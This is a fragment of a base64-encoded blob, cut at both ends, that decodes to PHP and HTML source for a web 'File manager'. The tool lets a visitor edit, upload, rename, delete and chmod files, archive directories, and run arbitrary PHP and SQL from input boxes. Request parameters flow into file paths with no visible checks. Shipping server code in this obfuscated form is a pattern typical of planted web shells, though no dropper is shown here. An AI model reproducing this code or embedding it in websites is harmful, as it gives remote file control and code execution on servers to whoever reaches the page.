ogICAgJGVkaXRsaW5rID0gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRfUkVRVUVTVFsnZWRpdCddIC4gJyZwYXRoPScgLiAkcGF0aDsKICAgICRiYWNrbGluayA9ICR1cmxfaW5jIC4gJyZwYXRoPScgLiAkcGF0aDsKPz4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9naC9EZW4xeHh4L0VkaXRBcmVhQG1hc3Rlci9lZGl0X2FyZWEvZWRpdF9hcmVhX2Z1bGwuanMiPjwvc2NyaXB0Pgo8dGFibGUgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzEnIHdpZHRoPSIxMDAlIj4KPHRyPgogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnRWRpdCcpLicgLSAnLiRwYXRoLiRfUkVRVUVTVFsnZWRpdCddPz48L3RoPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgIDw/PSRtc2c/PgoJPC90ZD4KPC90cj4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cxIj4KICAgICAgICA8Pz1mbV9ob21lKCk/PiA8YSBocmVmPSI8Pz0kYmFja2xpbms/PiI+PD89X18oJ0JhY2snKT8+PC9hPgoJPC90ZD4KPC90cj4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cxIiBhbGlnbj0iY2VudGVyIj4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSRlZGl0bGluaz8+Ij4KICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im5ld2NvbnRlbnQiIGlkPSJuZXdjb250ZW50IiBjb2xzPSI0NSIgcm93cz0iMjUiIHN0eWxlPSJ3aWR0aDo5OSUiIHNwZWxsY2hlY2s9ImZhbHNlIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRvbGRjb250ZW50KT8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2FuY2VsIiB2YWx1ZT0iPD89X18oJ0NhbmNlbCcpPz4iPgogICAgICAgIDwvZm9ybT4KICAgIDwvdGQ+CjwvdHI+CjwvdGFibGU+CjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFzY3JpcHQiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCBmdW5jdGlvbigpIHsKCWVkaXRBcmVhTG9hZGVyLmluaXQoewoJaWQ6ICJuZXdjb250ZW50IgoJLGRpc3BsYXk6ICJsYXRlciIKCSxzdGFydF9oaWdobGlnaHQ6IHRydWUKCSxhbGxvd19yZXNpemU6ICJib3RoIgoJLGFsbG93X3RvZ2dsZTogdHJ1ZQoJLHdvcmRfd3JhcDogdHJ1ZQoJLGxhbmd1YWdlOiAicnUiCgksc3ludGF4OiAiPD89cGF0aGluZm8oJF9SRVFVRVNUWydlZGl0J10sIFBBVEhJTkZPX0VYVEVOU0lPTik/PiIJCgksdG9vbGJhcjogInNlYXJjaCwgZ29fdG9fbGluZSwgfCwgdW5kbywgcmVkbywgfCwgc2VsZWN0X2ZvbnQsIHwsIHN5bnRheF9zZWxlY3Rpb24sIHwsIGNoYW5nZV9zbW9vdGhfc2VsZWN0aW9uLCBoaWdobGlnaHQsIHJlc2V0X2hpZ2hsaWdodCwgfCwgaGVscCIKCSxzeW50YXhfc2VsZWN0aW9uX2FsbG93OiAiY3NzLGh0bWwsanMscGhwLHB5dGhvbix4bWwsYyxjcHAsc3FsLGJhc2ljLHBhcyIKCX0pOwp9KTsKPC9zY3JpcHQ+Cjw/cGhwCmVjaG8gJGF1dGhbJ3NjcmlwdCddOwp9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydyaWdodHMnXSkpewoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgewoJICAgIGlmKGZtX2NobW9kKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgZm1fY29udmVydF9yaWdodHMoJF9SRVFVRVNUWydyaWdodHNfdmFsJ10pLCBAJF9SRVFVRVNUWydyZWN1cnNpdmVseSddKSkKCQkkbXNnIC49IChfXygnRmlsZSB1cGRhdGVkJykpOyAKCQllbHNlICRtc2cgLj0gKF9fKCdFcnJvciBvY2N1cnJlZCcpKTsKCX0KCWNsZWFyc3RhdGNhY2hlKCk7CiAgICAkb2xkcmlnaHRzID0gZm1fcmlnaHRzX3N0cmluZygkcGF0aCAuICRfUkVRVUVTVFsncmlnaHRzJ10sIHRydWUpOwogICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkX1JFUVVFU1RbJ3JpZ2h0cyddIC4gJyZwYXRoPScgLiAkcGF0aDsKICAgICRiYWNrbGluayA9ICR1cmxfaW5jIC4gJyZwYXRoPScgLiAkcGF0aDsKPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+Cjx0cj4KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgPD89JG1zZz8+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPgogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+CiAgICAgICAgICAgPD89X18oJ1JpZ2h0cycpLicgLSAnLiRfUkVRVUVTVFsncmlnaHRzJ10/PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmlnaHRzX3ZhbCIgdmFsdWU9Ijw/PSRvbGRyaWdodHM/PiI+CiAgICAgICAgPD9waHAgaWYgKGlzX2RpcigkcGF0aC4kX1JFUVVFU1RbJ3JpZ2h0cyddKSkgeyA/PgogICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlY3Vyc2l2ZWx5IiB2YWx1ZT0iMSI+IDw/PV9fKCdSZWN1cnNpdmVseScpPz48YnIvPgogICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICA8L2Zvcm0+CiAgICA8L3RkPgo8L3RyPgo8L3RhYmxlPgo8P3BocAp9IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsncmVuYW1lJ10pJiYkX1JFUVVFU1RbJ3JlbmFtZSddPD4nLicpIHsKCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsKCSAgICByZW5hbWUoJHBhdGggLiAkX1JFUVVFU1RbJ3JlbmFtZSddLCAkcGF0aCAuICRfUkVRVUVTVFsnbmV3bmFtZSddKTsKCQkkbXNnIC49IChfXygnRmlsZSB1cGRhdGVkJykpOwoJCSRfUkVRVUVTVFsncmVuYW1lJ10gPSAkX1JFUVVFU1RbJ25ld25hbWUnXTsKCX0KCWNsZWFyc3RhdGNhY2hlKCk7CiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRfUkVRVUVTVFsncmVuYW1lJ10gLiAnJnBhdGg9JyAuICRwYXRoOwogICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOwoKPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+Cjx0cj4KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgPD89JG1zZz8+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPgogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+CiAgICAgICAgICAgIDw/PV9fKCdSZW5hbWUnKT8+OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3bmFtZSIgdmFsdWU9Ijw/PSRfUkVRVUVTVFsncmVuYW1lJ10/PiI+PGJyLz4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICA8L2Zvcm0+CiAgICA8L3RkPgo8L3RyPgo8L3RhYmxlPgo8P3BocAp9IGVsc2UgewovL0xldCdzIHJvY2shCiAgICAkbXNnID0gJyc7CiAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1sndXBsb2FkX2ZpbGUnXSkpIHsKICAgICAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpewogICAgICAgICAgICAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddID0gc3RyX3JlcGxhY2UoJyUnLCAnJywgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSk7CiAgICAgICAgICAgIGlmKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkJ11bJ3RtcF9uYW1lJ10sICRwYXRoIC4gJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpewogICAgICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKICAgICAgICAgICAgfSBlbHNlIHsKCQkJCSRtc2cgLj0gX18oJ0ZpbGVzIHVwbG9hZGVkJykuJzogJy4kX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddOwoJCQl9CiAgICAgICAgfQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnZGVsZXRlJ10pJiYkX1JFUVVFU1RbJ2RlbGV0ZSddPD4nLicpIHsKICAgICAgICBpZighZm1fZGVsX2ZpbGVzKCgkcGF0aCAuICRfUkVRVUVTVFsnZGVsZXRlJ10pLCB0cnVlKSkgewogICAgICAgICAgICAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwogICAgICAgIH0gZWxzZSB7CgkJCSRtc2cgLj0gX18oJ0RlbGV0ZWQnKS4nICcuJF9SRVFVRVNUWydkZWxldGUnXTsKCQl9Cgl9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydta2RpciddKSYmIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7CiAgICAgICAgaWYoIUBta2RpcigkcGF0aCAuICRfUkVRVUVTVFsnZGlybmFtZSddLDA3NzcpKSB7CiAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CiAgICAgICAgfSBlbHNlIHsKCQkJJG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2Rpcm5hbWUnXTsKCQl9CiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ10pKSB7CgkJaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgJzAnKTsKCQkkc2VhcmNoX2RhdGEgPSAgZmluZF90ZXh0X2luX2ZpbGVzKCRfUE9TVFsncGF0aCddLCAkX1BPU1RbJ21hc2snXSwgJF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ10pOwoJCWlmKCFlbXB0eSgkc2VhcmNoX2RhdGEpKSB7CgkJCSRtc2cgLj0gX18oJ0ZvdW5kIGluIGZpbGVzJykuJyAoJy5jb3VudCgkc2VhcmNoX2RhdGEpLicpOjxicj4nOwoJCQlmb3JlYWNoICgkc2VhcmNoX2RhdGEgYXMgJGZpbGVuYW1lKSB7CgkJCQkkbXNnIC49ICc8YSBocmVmPSInLmZtX3VybCh0cnVlKS4nP2ZtPXRydWUmZWRpdD0nLmJhc2VuYW1lKCRmaWxlbmFtZSkuJyZwYXRoPScuc3RyX3JlcGxhY2UoJy8nLmJhc2VuYW1lKCRmaWxlbmFtZSksJy8nLCRmaWxlbmFtZSkuJyIgdGl0bGU9IicgLiBfXygnRWRpdCcpIC4gJyI+Jy5iYXNlbmFtZSgkZmlsZW5hbWUpLic8L2E+Jm5ic3A7ICZuYnNwOyc7CgkJCX0KCQl9IGVsc2UgewoJCQkkbXNnIC49IF9fKCdOb3RoaW5nIGZvdW5kZWQnKTsKCQl9CQoJfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnbWtmaWxlJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbmV3X2ZpbGUnXSkpIHsKICAgICAgICBpZighJGZwPUBmb3BlbigkcGF0aCAuICRfUkVRVUVTVFsnZmlsZW5hbWUnXSwidyIpKSB7CiAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CiAgICAgICAgfSBlbHNlIHsKCQkJZmNsb3NlKCRmcCk7CgkJCSRtc2cgLj0gX18oJ0NyZWF0ZWQnKS4nICcuJF9SRVFVRVNUWydmaWxlbmFtZSddOwoJCX0KICAgIH0gZWxzZWlmIChpc3NldCgkX0dFVFsnemlwJ10pKSB7CgkJJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3ppcCddKTsKCQkkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnppcCc7CgkJc2V0X3RpbWVfbGltaXQoMCk7CgkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTsKCQkkcGhhci0+YnVpbGRGcm9tRGlyZWN0b3J5KCRzb3VyY2UpOwoJCWlmIChpc19maWxlKCRkZXN0aW5hdGlvbikpCgkJJG1zZyAuPSBfXygnVGFzaycpLicgIicuX18oJ0FyY2hpdmluZycpLicgJy4kZGVzdGluYXRpb24uJyIgJy5fXygnZG9uZScpLgoJCScuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKQoJCS4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuICRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykgLiAnPC9hPic7CgkJZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVzJyk7Cgl9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2d6J10pKSB7CgkJJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2d6J10pOwoJCSRhcmNoaXZlID0gJHNvdXJjZS4nLnRhcic7CgkJJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy50YXInOwoJCWlmIChpc19maWxlKCRhcmNoaXZlKSkgdW5saW5rKCRhcmNoaXZlKTsKCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHVubGluaygkYXJjaGl2ZS4nLmd6Jyk7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQlzZXRfdGltZV9saW1pdCgwKTsKCQkvL2RpZSgpOwoJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7CgkJJHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTsKCQkkcGhhci0+Y29tcHJlc3MoUGhhcjo6R1osJy50YXIuZ3onKTsKCQl1bnNldCgkcGhhcik7CgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB7CgkJCWlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgewoJCQkJdW5saW5rKCRhcmNoaXZlKTsgCgkJCQkkZGVzdGluYXRpb24gLj0gJy5neic7CgkJCX0KCgkJCSRtc2cgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4KCQkJJy4mbmJzcDsnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pCgkJCS4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKS4nPC9hPic7CgkJfSBlbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJykuJzogJy5fXygnbm8gZmlsZXMnKTsKCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnZGVjb21wcmVzcyddKSkgewoJCS8vICRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydkZWNvbXByZXNzJ10pOwoJCS8vICRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpOwoJCS8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRkZXN0aW5hdGlvbikpOwoJCS8vIGlmICgkZXh0PT0nemlwJyBPUiAkZXh0PT0nZ3onKSB7CgkJCS8vICRwaGFyID0gbmV3IFBoYXJEYXRhKCRzb3VyY2UpOwoJCQkvLyAkcGhhci0+ZGVjb21wcmVzcygpOwoJCQkvLyAkYmFzZV9maWxlID0gc3RyX3JlcGxhY2UoJy4nLiRleHQsJycsJGRlc3RpbmF0aW9uKTsKCQkJLy8gJGV4dCA9IGVuZChleHBsb2RlKCIuIiwgJGJhc2VfZmlsZSkpOwoJCQkvLyBpZiAoJGV4dD09J3RhcicpewoJCQkJLy8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJGJhc2VfZmlsZSk7CgkJCQkvLyAkcGhhci0+ZXh0cmFjdFRvKGRpcigkc291cmNlKSk7CgkJCS8vIH0KCQkvLyB9IAoJCS8vICRtc2cgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdEZWNvbXByZXNzJykuJyAnLiRzb3VyY2UuJyIgJy5fXygnZG9uZScpOwoJfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydnemZpbGUnXSkpIHsKCQkkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZ3pmaWxlJ10pOwoJCSRhcmNoaXZlID0gJHNvdXJjZS4nLnRhcic7CgkJJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy50YXInOwoJCWlmIChpc19maWxlKCRhcmNoaXZlKSkgdW5saW5rKCRhcmNoaXZlKTsKCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHVubGluaygkYXJjaGl2ZS4nLmd6Jyk7CgkJc2V0X3RpbWVfbGltaXQoMCk7CgkJLy9lY2hvICRkZXN0aW5hdGlvbjsKCQkkZXh0X2FyciA9IGV4cGxvZGUoJy4nLGJhc2VuYW1lKCRzb3VyY2UpKTsKCQlpZiAoaXNzZXQoJGV4dF9hcnJbMV0pKSB7CgkJCXVuc2V0KCRleHRfYXJyWzBdKTsKCQkJJGV4dD1pbXBsb2RlKCcuJywkZXh0X2Fycik7CgkJfSAKCQkkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOwoJCSRwaGFyLT5hZGRGaWxlKCRzb3VyY2UpOwoJCSRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwkZXh0LicudGFyLmd6Jyk7CgkJdW5zZXQoJHBoYXIpOwoJCWlmIChpc19maWxlKCRhcmNoaXZlKSkgewoJCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHsKCQkJCXVubGluaygkYXJjaGl2ZSk7IAoJCQkJJGRlc3RpbmF0aW9uIC49ICcuZ3onOwoJCQl9CgkJCSRtc2cgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4KCQkJJy4mbmJzcDsnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pCgkJCS4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKS4nPC9hPic7CgkJfSBlbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJykuJzogJy5fXygnbm8gZmlsZXMnKTsKCX0KPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSIgaWQ9ImhlYWRlcl90YWJsZSIgPgo8dHI+CiAgICA8dGggY29sc3Bhbj0iMiI+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48Pz0oIWVtcHR5KCRwYXRoKT8nIC0gJy4kcGF0aDonJyk/PjwvdGg+CjwvdHI+Cjw/cGhwIGlmKCFlbXB0eSgkbXNnKSl7ID8+Cjx0cj4KCTx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MiI+PD89JG1zZz8+PC90ZD4KPC90cj4KPD9waHAgfSA/Pgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzIiPgoJCTx0YWJsZT4KCQkJPHRyPgoJCQk8dGQ+CgkJCQk8Pz1mbV9ob21lKCk/PgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWydtYWtlX2RpcmVjdG9yeSddKSkgeyA/PgoJCQkJPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSR1cmxfaW5jPz4iPgoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+CgkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlybmFtZSIgc2l6ZT0iMTUiPgoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibWtkaXIiIHZhbHVlPSI8Pz1fXygnTWFrZSBkaXJlY3RvcnknKT8+Ij4KCQkJCTwvZm9ybT4KCQkJPD9waHAgfSA/PgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgeyA/PgoJCQkJPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSR1cmxfaW5jPz4iPgoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgICAgIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPgoJCQkJPGlucHV0IHR5cGU9InRleHQiICAgbmFtZT0iZmlsZW5hbWUiIHNpemU9IjE1Ij4KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im1rZmlsZSIgICB2YWx1ZT0iPD89X18oJ05ldyBmaWxlJyk/PiI+CgkJCQk8L2Zvcm0+CgkJCTw/cGhwIH0gPz4KCQkJPC90ZD4KCQkJPHRkPgoJCQkJPGZvcm0gIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+IiBzdHlsZT0iZGlzcGxheTppbmxpbmUiPgoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+CgkJCQk8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdSZWN1cnNpdmUgc2VhcmNoJyk/PiIgbmFtZT0ic2VhcmNoX3JlY3Vyc2l2ZSIgdmFsdWU9Ijw/PSFlbXB0eSgkX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXSk/JF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ106Jyc/PiIgc2l6ZT0iMTUiPgoJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1hc2siIHBsYWNlaG9sZGVyPSI8Pz1fXygnTWFzaycpPz4iIHZhbHVlPSI8Pz0hZW1wdHkoJF9QT1NUWydtYXNrJ10pPyRfUE9TVFsnbWFzayddOicqLionPz4iIHNpemU9IjUiPgoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2VhcmNoIiB2YWx1ZT0iPD89X18oJ1NlYXJjaCcpPz4iPgoJCQkJPC9mb3JtPgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/PWZtX3J1bl9pbnB1dCgncGhwJyk/PgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/PWZtX3J1bl9pbnB1dCgnc3FsJyk/PgoJCQk8L3RkPgoJCQk8L3RyPgoJCTwvdGFibGU+CiAgICA8L3RkPgogICAgPHRkIGNsYXNzPSJyb3czIj4KCQk8dGFibGU+CgkJPHRyPgoJCTx0ZD4KCQk8P3BocCBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7ID8+CgkJCTxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPgoJCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiBpZD0idXBsb2FkX2hpZGRlbiIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgZGlzcGxheTogYmxvY2s7IG92ZXJmbG93OiBoaWRkZW47IHdpZHRoOiAwOyBoZWlnaHQ6IDA7IGJvcmRlcjogMDsgcGFkZGluZzogMDsiIG9uY2hhbmdlPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX3Zpc2libGUnKS52YWx1ZSA9IHRoaXMudmFsdWU7IiAvPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgcmVhZG9ubHk9IjEiIGlkPSJ1cGxvYWRfdmlzaWJsZSIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdTZWxlY3QgdGhlIGZpbGUnKT8+IiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF9oaWRkZW4nKS5jbGljaygpOyIgLz4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idGVzdCIgdmFsdWU9Ijw/PV9fKCdVcGxvYWQnKT8+IiAvPgoJCQk8L2Zvcm0+CgkJPD9waHAgfSA/PgoJCTwvdGQ+CgkJPHRkPgoJCTw/cGhwIGlmICgkYXV0aFsnYXV0aG9yaXplJ10pIHsgPz4KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7CgkJCTxpbnB1dCBuYW1lPSJxdWl0IiB0eXBlPSJoaWRkZW4iIHZhbHVlPSIxIj4KCQkJPD89X18oJ0hlbGxvJyk/PiwgPD89JGF1dGhbJ2xvZ2luJ10/PgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPD89X18oJ1F1aXQnKT8+Ij4KCQkJPC9mb3JtPgoJCTw/cGhwIH0gPz4KCQk8L3RkPgoJCTx0ZD4KCQk8Pz1mbV9sYW5nX2Zvcm0oJGxhbmd1YWdlKT8+CgkJPC90ZD4KCQk8dHI+CgkJPC90YWJsZT4KICAgIDwvdGQ+CjwvdHI+CjwvdGFibGU+Cjx0YWJsZSBjbGFzcz0iYWxsIiBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPScxJyBjZWxscGFkZGluZz0nMScgaWQ9ImZtX3RhYmxlIiB3aWR0aD0iMTAwJSI+Cjx0aGVhZD4KPHRyPiAKICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0ZpbGVuYW1lJyk/PiA8L3